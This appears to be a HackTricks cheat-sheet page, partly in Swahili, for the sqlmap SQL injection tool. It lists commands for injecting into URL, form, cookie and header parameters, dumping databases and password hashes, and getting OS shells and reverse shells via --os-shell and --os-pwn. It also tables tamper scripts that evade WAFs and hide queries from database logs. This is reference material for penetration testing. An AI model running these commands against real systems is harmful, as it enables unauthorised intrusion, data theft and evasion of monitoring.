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188 lines
12 KiB
Markdown
188 lines
12 KiB
Markdown
# SQLMap
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{{#include ../../banners/hacktricks-training.md}}
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## Msingi wa hoja za SQLmap
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### Kawaida
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```bash
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-u "<URL>"
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-p "<PARAM TO TEST>"
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--user-agent=SQLMAP
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--random-agent
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--threads=10
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--risk=3 #MAX
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--level=5 #MAX
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--dbms="<KNOWN DB TECH>"
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--os="<OS>"
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--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
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--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
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--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
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--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
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--proxy=PROXY
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```
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### Technique flags (`--technique`)
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The `--technique` argument defines which SQL injection methods sqlmap will attempt. Each character in the string represents a technique:
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| Letter | Technique | Description |
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| ------ | --------- | ----------- |
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| B | Boolean-based blind | Inatumia hali za kweli/false kudhani data |
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| E | Error-based | Inatumia ujumbe wa makosa wa DBMS wenye maelezo mengi ili kutoa matokeo |
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| U | UNION query | Inajumuisha taarifa za `UNION SELECT` ili kupata data kupitia njia ile ile |
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| S | Stacked queries | Inaongeza taarifa za ziada zilizotenganishwa na `;` |
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| T | Time-based blind | Inategemea ucheleweshaji (`SLEEP`, `WAITFOR`) kugundua injection |
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| Q | Inline / out-of-band | Inatumia kazi kama `LOAD_FILE()` au njia za OOB kama DNS |
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Default order is `BEUSTQ`. You can rearrange or limit them, e.g. only Boolean and Time-based in that order:
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```bash
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sqlmap -u "http://target/?id=1" --technique="BT" --batch
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```
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### Retrieve Information
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#### Internal
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```bash
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--current-user #Get current user
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--is-dba #Check if current user is Admin
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--hostname #Get hostname
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--users #Get usernames od DB
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--passwords #Get passwords of users in DB
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```
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#### DB data
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```bash
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--all #Retrieve everything
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--dump #Dump DBMS database table entries
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--dbs #Names of the available databases
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--tables #Tables of a database ( -D <DB NAME> )
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--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
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-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
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```
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## Injection place
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### From Burp/ZAP capture
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Shika ombi na uunde faili req.txt
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```bash
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sqlmap -r req.txt --current-user
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```
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### GET Request Injection
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```bash
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sqlmap -u "http://example.com/?id=1" -p id
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sqlmap -u "http://example.com/?id=*" -p id
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```
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### POST Request Injection
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```bash
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sqlmap -u "http://example.com" --data "username=*&password=*"
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```
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### Injections katika Vichwa na Mbinu Nyingine za HTTP
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```bash
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#Inside cookie
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sqlmap -u "http://example.com" --cookie "mycookies=*"
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#Inside some header
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sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
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sqlmap -u "http://example.com" --headers="referer:*"
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#PUT Method
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sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
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#The injection is located at the '*'
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```
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### Uingizaji wa agizo la pili
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```bash
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python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
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sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
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```
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### Shell
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```bash
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#Exec command
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python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
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#Simple Shell
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python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
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#Dropping a reverse-shell / meterpreter
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python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
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```
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### Tembelea tovuti kwa SQLmap na kuji-exploit kiotomatiki
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```bash
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sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
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--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
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--crawl = how deep you want to crawl a site
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--forms = Parse and test forms
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```
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## Kubadilisha Uingiliaji
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### Weka kiambishi
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```bash
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python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
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```
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### Kichwa cha Kwanza
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```bash
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python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
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```
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### Msaada wa kutafuta sindano ya boolean
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```bash
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# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
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sqlmap -r r.txt -p id --not-string ridiculous --batch
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```
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### Tamper
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```bash
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--tamper=name_of_the_tamper
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#In kali you can see all the tampers in /usr/share/sqlmap/tamper
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```
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| Tamper | Maelezo |
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| :--------------------------- | :--------------------------------------------------------------------------------------------------------------------------------- |
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| apostrophemask.py | Hubadilisha herufi ya apostrophe na sawa yake ya UTF-8 yenye upana kamili |
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| apostrophenullencode.py | Hubadilisha herufi ya apostrophe na sawa yake isiyo halali ya double unicode |
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| appendnullbyte.py | Huongeza herufi ya NULL byte iliyosimbwa mwishoni mwa payload |
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| base64encode.py | Hubadilisha herufi zote katika payload iliyotolewa kuwa Base64 |
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| between.py | Hubadilisha opereta ya zaidi ya \('>'\) na 'SIO KATI YA 0 NA \#' |
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| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL kuwa herufi halali ya random tupu. Kisha hubadilisha herufi = na opereta LIKE |
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| chardoubleencode.py | Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\) |
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| commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
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| commalessmid.py | Hubadilisha matukio kama 'MID\(A, B, C\)' na 'MID\(A KUTOKA B KWA C\)' |
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| concat2concatws.py | Hubadilisha matukio kama 'CONCAT\(A, B\)' na 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
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| charencode.py | Huongeza url-encode herufi zote katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\) |
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| charunicodeencode.py | Huongeza unicode-url-encode herufi zisizokuwa na msimbo katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\). "%u0022" |
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| charunicodeescape.py | Huongeza unicode-url-encode herufi zisizokuwa na msimbo katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\). "\u0022" |
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| equaltolike.py | Hubadilisha matukio yote ya opereta sawa \('='\) na opereta 'LIKE' |
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| escapequotes.py | Huondoa herufi za nukuu \(' na "\) |
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| greatest.py | Hubadilisha opereta ya zaidi ya \('>'\) na sawa yake ya 'GREATEST' |
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| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
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| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL\(A, B\)' na 'IF\(ISNULL\(A\), B, A\)' |
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| modsecurityversioned.py | Huweka swali lote ndani ya maoni yenye toleo |
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| modsecurityzeroversioned.py | Huweka swali lote ndani ya maoni yenye toleo sifuri |
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| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
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| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi yanayofaa kwa kubadilishwa \(e.g. .replace\("SELECT", ""\)\) filters |
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| percentage.py | Huongeza alama ya asilimia \('%'\) mbele ya kila herufi |
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| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa \(sio kusindika zilizokuwa tayari zimekodishwa\) |
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| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya kesi ya nasibu |
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| randomcomments.py | Huongeza maoni ya nasibu kwa maneno muhimu ya SQL |
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| securesphere.py | Huongeza mfuatano maalum wa kusanifu |
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| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS |
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| space2comment.py | Hubadilisha herufi ya nafasi \(' '\) na maoni |
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| space2dash.py | Hubadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
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| space2hash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
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| space2morehash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mfuatano wa nasibu na mstari mpya \('\n'\) |
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| space2mssqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
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| space2mssqlhash.py | Hubadilisha herufi ya nafasi \(' '\) na herufi ya pound \('\#'\) ikifuatiwa na mstari mpya \('\n'\) |
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| space2mysqlblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
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| space2mysqldash.py | Hubadilisha herufi ya nafasi \(' '\) na maoni ya dash \('--'\) ikifuatiwa na mstari mpya \('\n'\) |
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| space2plus.py | Hubadilisha herufi ya nafasi \(' '\) na plus \('+'\) |
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| space2randomblank.py | Hubadilisha herufi ya nafasi \(' '\) na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala |
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| symboliclogical.py | Hubadilisha opereta za AND na OR na sawa zao za alama \(&& na |
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| unionalltounion.py | Hubadilisha UNION ALL SELECT na UNION SELECT |
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| unmagicquotes.py | Hubadilisha herufi ya nukuu \('\) na mchanganyiko wa multi-byte %bf%27 pamoja na maoni ya jumla mwishoni \(ili kufanya ifanye kazi\) |
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| uppercase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT' |
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| varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' |
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| versionedkeywords.py | Huweka kila neno muhimu lisilo la kazi ndani ya maoni ya MySQL yenye toleo |
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| versionedmorekeywords.py | Huweka kila neno muhimu ndani ya maoni ya MySQL yenye toleo |
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| xforwardedfor.py | Huongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
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## References
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- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
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{{#include ../../banners/hacktricks-training.md}}
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